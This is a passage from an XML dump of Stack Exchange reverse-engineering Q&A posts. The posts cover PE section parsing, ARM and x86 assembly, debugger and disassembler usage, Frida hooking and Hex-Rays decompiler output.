IMAGE_SCN_MEM_EXECUTE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which indicates for code/text section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you reach the header of the text section, you can use the field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the start address of the code section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it as this struct &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ___________________________&#xA;|                           |&#xA;|      IMAGE_DOS_HEADER     |&#xA;|___________________________|&#xA;|                           |&#xA;|     IMAGE_NT_HEADERS      | &amp;lt;-- Contains FileHeader which has the number of sections exist in the dll&#xA;|___________________________|&#xA;|                           |&#xA;|   IMAGE_SECTION_HEADER    |&#xA;|___________________________|&#xA;|                           |&#xA;|   IMAGE_SECTION_HEADER    |&#xA;|___________________________|&#xA;|                           |&#xA;|   IMAGE_SECTION_HEADER    |&#xA;|___________________________|&#xA;|                           |&#xA;|   IMAGE_SECTION_HEADER    |&#xA;|___________________________|&#xA;|                           |&#xA;|   IMAGE_SECTION_HEADER    |&#xA;|___________________________|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21935" LastEditorUserId="245" LastEditDate="2019-09-15T20:45:46.863" LastActivityDate="2019-09-15T20:45:46.863" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22132" PostTypeId="2" ParentId="22068" CreationDate="2019-09-16T08:08:07.867" Score="1" Body="&lt;p&gt;Seems like it has 4 arguments, and they are passed through stack, yet the more lines of disassembly above E42D6A needed to make sure. Are those mov and lea instruction confusing you? If you've expected to have 4 push instruction in a row, then let me disappoint you: compiler can insert as many instructions as it likes between the push instructions. And let let me disappoint you again: push instruction is not the only way compiler can pass the arguments through stack.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-09-16T08:08:07.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22134" PostTypeId="1" CreationDate="2019-09-16T09:16:14.573" Score="2" ViewCount="92" Body="&lt;p&gt;Assuming that source code is compiled for ARMv7 architecure using clang (native shared object library for Android, Itanium ABI) what are the cases when virtual table pointer is not the first element of structure?&lt;/p&gt;&#xA;" OwnerUserId="29627" LastActivityDate="2019-09-16T09:16:14.573" Title="When virtual table is not the first element of structure?" Tags="|arm|vtables|shared-object|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22135" PostTypeId="2" ParentId="22125" CreationDate="2019-09-16T09:50:13.217" Score="1" Body="&lt;p&gt;This depends very much on how exactly you plan to write the data back; some options would accept only &quot;payload&quot;, others may need OOB too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use U-Boot's &lt;code&gt;nand write&lt;/code&gt;, it seems it accepts data without OOB but &lt;a href=&quot;https://elinux.org/Didj_U_Boot_Flashing_Primer&quot; rel=&quot;nofollow noreferrer&quot;&gt;you need to erase target pages manually first&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-16T09:50:13.217" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22136" PostTypeId="2" ParentId="18428" CreationDate="2019-09-16T10:20:32.937" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;code&gt;compile code&lt;/code&gt; command&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Introduced around 7.9, it allows code compilation and injection at the current location, documentation: &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Compiling-and-Injecting-Code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Compiling-and-Injecting-Code.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have given a minimal runnable example at: &lt;a href=&quot;https://stackoverflow.com/questions/5480868/how-to-call-assembly-in-gdb/31709579#31709579&quot;&gt;https://stackoverflow.com/questions/5480868/how-to-call-assembly-in-gdb/31709579#31709579&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find out how to inject at a specific location, but if you are serious about this, patching this feature in extending &lt;code&gt;compile code&lt;/code&gt; functionality might be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="12321" LastEditorUserId="12321" LastEditDate="2019-09-16T13:13:32.153" LastActivityDate="2019-09-16T13:13:32.153" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22137" PostTypeId="1" AcceptedAnswerId="22322" CreationDate="2019-09-16T12:40:28.690" Score="0" ViewCount="382" Body="&lt;p&gt;I'm looking for some disassembler that has feature similar to WinDbg uf function, it produces output that is really easy transferable to compilable NASM listing. The problem with WinDbg is that it's hard to execute from API level, without attaching debugger. It can work on Linux or Windows.&lt;/p&gt;&#xA;" OwnerUserId="24242" LastActivityDate="2019-10-16T21:08:00.523" Title="Disassembling only given function" Tags="|disassembly|windbg|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22138" PostTypeId="2" ParentId="22137" CreationDate="2019-09-16T16:40:52.493" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA&lt;/a&gt;, &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt;, &lt;a href=&quot;https://rada.re/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare&lt;/a&gt;, &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; and &lt;a href=&quot;https://binary.ninja/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Ninja&lt;/a&gt; are some of the most popular disassemblers for static code analysis, and all of them have python SDKs. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-09-16T16:40:52.493" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22139" PostTypeId="1" AcceptedAnswerId="22146" CreationDate="2019-09-16T17:53:01.343" Score="-1" ViewCount="877" Body="&lt;pre&gt;&lt;code&gt;str fp,[sp, -4]!&#xA;add fp, sp, #0&#xA;sub sp, sp, #12&#xA;str r0, [fp, #-8]&#xA;str r1 [fp, #-12]&#xA;&#xA;L5:&#xA;ldr r3, [fp, #-8]&#xA;ldrb r3, [r3]&#xA;cmp r3, #0&#xA;beq .L2&#xA;ldr r3, [fp, #-12]&#xA;ldrb r3, [r3]&#xA;cmp r3, #0&#xA;beq .L2&#xA;ldr r3, [fp, #-8]&#xA;ldrb r2, [r3]&#xA;ldr r3, [fp, #-12]&#xA;ldrb r3, [r3]&#xA;cmp r2, [r3]&#xA;bne .L8&#xA;ldr r3, [fp, #-8]&#xA;add r3, r3, #1&#xA;str r3, [fp, #-8]&#xA;ldr r3, [fp, #-12]&#xA;add r3, r3, #1&#xA;str r3, [fp, #-12]&#xA;b .L5&#xA;&#xA;.L8&#xA;nop&#xA;&#xA;.L2&#xA;ldr r3, [fp, #-8]&#xA;cmp r3, #0&#xA;bne .L6&#xA;ldr r3, [fp, #-12]&#xA;cmp r3, #0&#xA;bne .L6&#xA;mov r3, #0&#xA;b .L7&#xA;&#xA;.L6&#xA;ldr r3, [fp, #-8]&#xA;ldrb r3, [r3]&#xA;mov r3, r3&#xA;ldr r3, [fp, #-12]&#xA;ldrb r3, [r3]&#xA;sub r3, r2, r3&#xA;&#xA;.L7&#xA;mov r0,r3&#xA;add sp, fp, #0&#xA;ldr fp, [sp], #4&#xA;bx lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29629" LastEditorUserId="3473" LastEditDate="2019-09-16T18:26:00.407" LastActivityDate="2019-09-17T08:52:29.837" Title="What is the following assembly code doing?" Tags="|disassembly|assembly|c|arm|" AnswerCount="1" CommentCount="5" ClosedDate="2019-09-24T08:50:57.913" ContentLicense="CC BY-SA 4.0" />
  <row Id="22140" PostTypeId="2" ParentId="22130" CreationDate="2019-09-16T18:20:53.503" Score="4" Body="&lt;p&gt;There are lots of &lt;a href=&quot;https://docs.microsoft.com/en-in/windows/win32/api/dbghelp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;helper functions&lt;/a&gt; in dbghelp.h to fully parse the PE file&lt;/p&gt;&#xA;&lt;p&gt;if you do not wish to use dbghelp.h almost all of these function has an Rtl Equivalent function in ntdll.dll which you can call dynamically (&lt;code&gt;LoadLibrary&lt;/code&gt;, &lt;code&gt;GetProcAddres&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;For example, the function &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-imagentheader&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ImageNtHeader&lt;/code&gt;&lt;/a&gt; has an equivalent &lt;code&gt;RtlImageNtHeader&lt;/code&gt; in ntdll.dll which you can use with &lt;code&gt;GetProcAddress()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Below is a sample code that dump some pertinent details of all sections in a given module using dbghelp.h:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#pragma comment(lib, &amp;quot;dbghelp.lib&amp;quot;)&#xA;int main(void)&#xA;{&#xA;    HMODULE hMod = GetModuleHandleA(&amp;quot;kernelbase.dll&amp;quot;);&#xA;    if (hMod)&#xA;    {&#xA;        PIMAGE_NT_HEADERS64 NtHeader = ImageNtHeader(hMod);&#xA;        WORD NumSections = NtHeader-&amp;gt;FileHeader.NumberOfSections;&#xA;        PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeader);&#xA;        for (WORD i = 0; i &amp;lt; NumSections; i++)&#xA;        {&#xA;            printf(&amp;quot;%-8s\t%x\t%x\t%x\n&amp;quot;, Section-&amp;gt;Name, Section-&amp;gt;VirtualAddress,&#xA;                   Section-&amp;gt;PointerToRawData, Section-&amp;gt;SizeOfRawData);&#xA;            Section++;&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;compile and linked and executed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /nologo /analyze /EHsc /Od %1 /link /release&#xA;&#xA;TextSectAddr.exe&#xA;======================================&#xA;Name            VA      Raw     Size&#xA;======================================&#xA;.text           1000    400     102600&#xA;.rdata          104000  102a00  155e00&#xA;.data           25a000  258800  1600&#xA;.pdata          25f000  259e00  e800&#xA;.didat          26e000  268600  800&#xA;.rsrc           26f000  268e00  600&#xA;.reloc          270000  269400  22400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="44585" LastEditDate="2023-11-08T23:14:54.283" LastActivityDate="2023-11-08T23:14:54.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22142" PostTypeId="1" CreationDate="2019-09-16T23:50:10.557" Score="4" ViewCount="2121" Body="&lt;p&gt;How can i hook functions with frida?&#xA;Can someone give me an example please, for something that do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hook at 0x412312 and change the assembly code to &quot;mov eax, 999&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Arleady tried something like:&#xA;&lt;a href=&quot;https://pastebin.com/eGPf5k0R&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/eGPf5k0R&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work for me, thx for helping!&lt;/p&gt;&#xA;" OwnerUserId="28030" LastActivityDate="2024-03-21T11:45:53.037" Title="Hooking function with frida" Tags="|patch-reversing|function-hooking|hooking|frida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22143" PostTypeId="1" CreationDate="2019-09-17T03:32:26.637" Score="1" ViewCount="239" Body="&lt;p&gt;Does x64dbg have ““Add entries of all procedures”. option to trace the instructions and save the output as a *.txt file?&lt;/p&gt;&#xA;" OwnerUserId="27336" LastActivityDate="2019-09-17T03:32:26.637" Title="How to trace in x64dbg?" Tags="|debugging|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22144" PostTypeId="2" ParentId="21996" CreationDate="2019-09-17T05:29:48.137" Score="2" Body="&lt;p&gt;Ghidra (NSA open source tool) is an excellent competitor to IDA. It is free and open source as well. I highly recommend it. The current dev branch has TC17xx and TC-29x support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guide to build it is here:&#xA;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16675" LastActivityDate="2019-09-17T05:29:48.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22145" PostTypeId="1" CreationDate="2019-09-17T05:44:23.030" Score="1" ViewCount="1073" Body="&lt;p&gt;I am learning about various flag states for the cmp instruction. From reading, the cmp instruction is really just a sub instruction that sets the various flags (OF, CF, ZF) accordingly depending on the result of the sub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, there is no pure &quot;subtraction (sub)&quot; instruction implementation in x86, rather, the second operand is negated, and then the two numbers are added; i.e. 8-4 becomes 8+(-4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is true, then how is subtraction implemented for unsigned numbers? For example, if we are limited to 8 bits and want to subtract 255-254, the 2's compliment representation of 254 is well outside of the range of 8 bits.&lt;/p&gt;&#xA;" OwnerUserId="29283" LastEditorUserId="4658" LastEditDate="2019-09-17T12:49:42.967" LastActivityDate="2019-09-17T19:32:16.243" Title="How is subtraction performed on unsigned numbers within the CPU?" Tags="|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22146" PostTypeId="2" ParentId="22139" CreationDate="2019-09-17T08:52:29.837" Score="2" Body="&lt;p&gt;I think this is a &lt;code&gt;strcmp&lt;/code&gt; function which was compiled without optimization and is really inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is why:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The function only uses &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;r1&lt;/code&gt; which are first and the second parameter.&lt;/li&gt;&#xA;&lt;li&gt;Both parameters are pointer because they are dereferenced&lt;/li&gt;&#xA;&lt;li&gt;All memory access are byte long&lt;/li&gt;&#xA;&lt;li&gt;Read bytes are compared against '\0'&lt;/li&gt;&#xA;&lt;li&gt;Read bytes are compared using the instruction &lt;code&gt;cmp&lt;/code&gt; (subtraction without modifying the destination register)&lt;/li&gt;&#xA;&lt;li&gt;When the byte differs, the returned value is both bytes subtracted (.L6)&lt;/li&gt;&#xA;&lt;li&gt;If both read byte are equal, pointers are incremented by one and it branches back to the comparison block&lt;/li&gt;&#xA;&lt;li&gt;They are extra copies on the stack, it's useless and typical from non-optimized code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-09-17T08:52:29.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22147" PostTypeId="2" ParentId="20030" CreationDate="2019-09-17T16:36:44.310" Score="1" Body="&lt;p&gt;you can do the same with Proxmark3 Evo and Proxmark3 RDV4. The only difference is that the hardware of the Proxmark3 RDV4 is more advanced than the Evo. &lt;/p&gt;&#xA;" OwnerUserId="29639" LastActivityDate="2019-09-17T16:36:44.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22148" PostTypeId="2" ParentId="22145" CreationDate="2019-09-17T17:20:55.727" Score="1" Body="&lt;p&gt;Signed and unsigned numbers are added / subtracted &lt;em&gt;in exactly the same way&lt;/em&gt; (add / sub will set both &lt;code&gt;OF&lt;/code&gt; and &lt;code&gt;CF&lt;/code&gt; flag). The only difference is how you interpret the result. See &lt;a href=&quot;https://www.felixcloutier.com/x86/sub&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; and &lt;a href=&quot;https://www.cs.uaf.edu/2008/fall/cs301/lecture/10_17_signed_unsigned.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you subtract two &lt;code&gt;8&lt;/code&gt; bit numbers, say &lt;code&gt;a - b&lt;/code&gt;, it's like you were adding &lt;code&gt;256 - b = 0b11111111 - b + 1 = NOT(b) + 1&lt;/code&gt; to &lt;code&gt;a&lt;/code&gt;. In case of &lt;code&gt;a = 255&lt;/code&gt;, &lt;code&gt;b = 254&lt;/code&gt;, &lt;code&gt;a - b = 255 + NOT(0b11111110) + 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any &lt;code&gt;8&lt;/code&gt; bit number &lt;code&gt;n&lt;/code&gt;: &lt;code&gt;n + NOT(n) + 1 = 0&lt;/code&gt;, so &lt;code&gt;NOT(n) + 1&lt;/code&gt; is the inverse of &lt;code&gt;n&lt;/code&gt; (in additive group) modulo &lt;code&gt;256&lt;/code&gt; no matter if you interpret it as signed or unsigned.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-09-17T17:20:55.727" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22149" PostTypeId="2" ParentId="22145" CreationDate="2019-09-17T19:32:16.243" Score="1" Body="&lt;pre&gt;&lt;code&gt;a = 255&#xA;b = 254&#xA;c = int(bin(~b),2)&#xA;print (&quot;subtracting is equal to not (input) + 1&quot;)&#xA;print (&quot;254 = 0b11111110  flipped 254= 0b00000001 adding one makes it 0n00000010&quot;)&#xA;print (&quot;adding 0b11111111 to 0b00000010 will leave 0b00000001 &quot;)&#xA;print (&quot;a =&quot;, a , &quot;b =&quot; , b , &quot;not b =&quot;, c , &quot;a+b =&quot;, a+c , &quot;final result =&quot; , a+c+1 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python sub.py&#xA;subtracting is equal to not (input) + 1&#xA;254 = 0b11111110  flipped 254= 0b00000001 adding one makes it 0n00000010&#xA;adding 0b11111111 to 0b00000010 will leave 0b00000001&#xA;a = 255 b = 254 not b = -255 a+b = 0 final result = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-17T19:32:16.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22150" PostTypeId="1" AcceptedAnswerId="22153" CreationDate="2019-09-17T20:24:30.920" Score="2" ViewCount="1119" Body="&lt;p&gt;Is there a way to show these exception handlers in the decompiled code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SOtIi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SOtIi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell that a block is in a &lt;code&gt;__try&lt;/code&gt; block without looking into the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __fastcall NtDCompositionGetBatchId(int a1, unsigned int a2, _DWORD *a3)&#xA;{&#xA;  _DWORD *v3; // r14&#xA;  __int64 v4; // r8&#xA;  int v5; // er13&#xA;  __int64 v6; // rcx&#xA;  _DWORD *v7; // rdx&#xA;  _DWORD *v8; // rdi&#xA;  signed int v9; // esi&#xA;  __int64 v10; // rbx&#xA;  __int64 *v11; // r15&#xA;  __int64 v12; // rax&#xA;  struct _ERESOURCE *v13; // rbx&#xA;  __int64 v14; // rcx&#xA;  __int64 v15; // rax&#xA;  struct _ERESOURCE *v16; // rdi&#xA;  int v17; // er12&#xA;  __int64 v19; // [rsp+38h] [rbp-50h]&#xA;  int v20; // [rsp+44h] [rbp-44h]&#xA;  unsigned int v21; // [rsp+98h] [rbp+10h]&#xA;&#xA;  v21 = a2;&#xA;  v3 = a3;&#xA;  v4 = a2;&#xA;  v5 = a1;&#xA;  if ( !v3 )&#xA;    return (unsigned int)-1073741811;&#xA;  v6 = *(_QWORD *)MmUserProbeAddress;&#xA;  v7 = v3;&#xA;  if ( (unsigned __int64)v3 &amp;gt;= *(_QWORD *)MmUserProbeAddress )&#xA;    v7 = *(_DWORD **)MmUserProbeAddress;&#xA;  *v7 = *v7;&#xA;  v8 = 0i64;&#xA;  v9 = 0;&#xA;  v10 = 0i64;&#xA;  v11 = 0i64;&#xA;  v12 = PsGetCurrentProcessWin32Process(v6, v7, v4);&#xA;  if ( v12 )&#xA;    v11 = *(__int64 **)(v12 + 256);&#xA;  if ( v11 )&#xA;  {&#xA;    v13 = (struct _ERESOURCE *)v11[1];&#xA;    KeEnterCriticalRegion();&#xA;    ExAcquireResourceExclusiveLite(v13, 1u);&#xA;    v14 = *v11;&#xA;    v10 = 0i64;&#xA;    LODWORD(v19) = v5;&#xA;    *(__int64 *)((char *)&amp;amp;v19 + 4) = 0i64;&#xA;    v20 = 0;&#xA;    v15 = RtlLookupElementGenericTable(v14, &amp;amp;v19);&#xA;    if ( v15 )&#xA;      v10 = *(_QWORD *)(v15 + 8);&#xA;    if ( v10 )&#xA;    {&#xA;      _InterlockedIncrement((volatile signed __int32 *)(v10 + 8));&#xA;      v8 = 0i64;&#xA;    }&#xA;    else&#xA;    {&#xA;      v9 = -1073741790;&#xA;    }&#xA;    ExReleaseResourceLite((PERESOURCE)v11[1]);&#xA;    KeLeaveCriticalRegion();&#xA;  }&#xA;  else&#xA;  {&#xA;    v9 = -1073741823;&#xA;  }&#xA;  if ( v10 )&#xA;  {&#xA;    v16 = *(struct _ERESOURCE **)(v10 + 32);&#xA;    KeEnterCriticalRegion();&#xA;    ExAcquireResourceExclusiveLite(v16, 1u);&#xA;    v8 = (_DWORD *)v10;&#xA;  }&#xA;  if ( v9 &amp;gt;= 0 )&#xA;  {&#xA;    if ( (*(unsigned int (__fastcall **)(_DWORD *))(*(_QWORD *)v8 + 8i64))(v8) == 1 )&#xA;      goto LABEL_16;&#xA;    v9 = -1073741811;&#xA;    (**(void (__fastcall ***)(_DWORD *))v8)(v8);&#xA;  }&#xA;  v8 = 0i64;&#xA;LABEL_16:&#xA;  if ( v9 &amp;gt;= 0 )&#xA;  {&#xA;    if ( v21 == 2 )&#xA;    {&#xA;      v17 = v8[96];&#xA;    }&#xA;    else if ( v21 )&#xA;    {&#xA;      if ( v21 == 1 )&#xA;        v17 = v8[95];&#xA;      else&#xA;        v17 = 0;&#xA;    }&#xA;    else&#xA;    {&#xA;      v17 = v8[94];&#xA;    }&#xA;    (**(void (__fastcall ***)(_DWORD *))v8)(v8);&#xA;    if ( v9 &amp;gt;= 0 )&#xA;      *v3 = v17;&#xA;  }&#xA;  return (unsigned int)v9;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27727" LastEditorUserId="266" LastEditDate="2019-09-18T21:48:04.733" LastActivityDate="2019-09-18T21:48:04.733" Title="Is there a way to show exceptions handlers in Hex-Rays decompiler output?" Tags="|ida|hexrays|decompiler|exception|seh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22151" PostTypeId="1" CreationDate="2019-09-18T12:49:49.337" Score="1" ViewCount="141" Body="&lt;p&gt;I need to find the memory address where starts the NonPagedPool. I saw some people doing it with Rekall, but I'm having a lot of problems with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible with Volatility ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tks&lt;/p&gt;&#xA;" OwnerUserId="29649" LastEditorUserId="60" LastEditDate="2019-09-18T21:15:49.607" LastActivityDate="2019-09-18T21:15:49.607" Title="How to identify the NonPagedPool Start Memory address from a memory dump" Tags="|windows|memory|dump|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22152" PostTypeId="1" CreationDate="2019-09-18T13:18:30.560" Score="1" ViewCount="1882" Body="&lt;p&gt;I find that I can write to memory as&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[addr] = value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As given by the documentation at &lt;a href=&quot;http://help.x64dbg.com/en/latest/introduction/Input.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://help.x64dbg.com/en/latest/introduction/Input.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while I could work around my problem as dividing the string into several byte writes, that looks kind of ugly! Every character would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;byte:[addr] = charactercode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have not found any way except for manually entering into the memory editor to write a string/unicode string into memory. Am I missing something or is this really basic feature missing from X64dbg ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case there is another workaround.&#xA;The problem I am trying to solve is I want to set a value for GetEnvironmentVariable() for a variable that does not exist by writing a string into the buffer. I want this to happen when a breakpoint is reached by breakpoint commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically if there was any way to force setting environment variable or write a string into memory when a breakpoint is hit. I could work with that!&lt;/p&gt;&#xA;" OwnerUserId="27050" LastEditorUserId="266" LastEditDate="2019-09-19T21:25:16.947" LastActivityDate="2019-09-19T21:25:16.947" Title="In X64dbg, how can I script a string write to memory?" Tags="|debuggers|x64dbg|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22153" PostTypeId="2" ParentId="22150" CreationDate="2019-09-18T17:24:15.220" Score="0" Body="&lt;p&gt;The Hex-Rays decompiler &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/limit.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not support&lt;/a&gt; decompiling exception handling code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Below are the most important limitations of our decompilers (all&#xA;  processors): &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;exception handling is not supported&lt;/strong&gt; &lt;/li&gt;&#xA;  &lt;li&gt;type recovery is not performed &lt;/li&gt;&#xA;  &lt;li&gt;global program analysis is not performed&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(as of version 7.3.181105)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-18T17:24:15.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22154" PostTypeId="2" ParentId="22130" CreationDate="2019-09-19T05:00:52.583" Score="0" Body="&lt;p&gt;Here is another way to get PE image sections using &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/22131/23069&quot;&gt;stylo's answer&lt;/a&gt;.&#xA;The following C code uses &lt;code&gt;fopen()&lt;/code&gt;, &lt;code&gt;fread()&lt;/code&gt; and &lt;code&gt;fseek()&lt;/code&gt; functions.&#xA;So, this code can be use in any Unix-like systems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char* argv[])&#xA;{&#xA;    if (argc &amp;lt; 2)&#xA;        return;&#xA;&#xA;    FILE* file = fopen(argv[1], &amp;quot;rb&amp;quot;);&#xA;    if (file == NULL)&#xA;        return;&#xA;&#xA;    IMAGE_DOS_HEADER dosHeader = { 0 };&#xA;    fread(&amp;amp;dosHeader, sizeof dosHeader, 1, file);&#xA;    fseek(file, dosHeader.e_lfanew, SEEK_SET);&#xA;&#xA;    IMAGE_NT_HEADERS ntHeader = { 0 };&#xA;    fread(&amp;amp;ntHeader, sizeof ntHeader, 1, file);&#xA;&#xA;    IMAGE_SECTION_HEADER secHeader = { 0 };&#xA;&#xA;    for (int i = 0; i &amp;lt; ntHeader.FileHeader.NumberOfSections; i++)&#xA;    {&#xA;        fread(&amp;amp;secHeader, sizeof secHeader, 1, file);&#xA;        printf(&amp;quot;%-8s\t%x\t%x\t%x\n&amp;quot;,&#xA;               secHeader.Name,&#xA;               secHeader.VirtualAddress,&#xA;               secHeader.PointerToRawData,&#xA;               secHeader.SizeOfRawData);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what does the code do?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man3/fdopen.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fopen(3)&lt;/code&gt;&lt;/a&gt; opens the file in binary mode.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 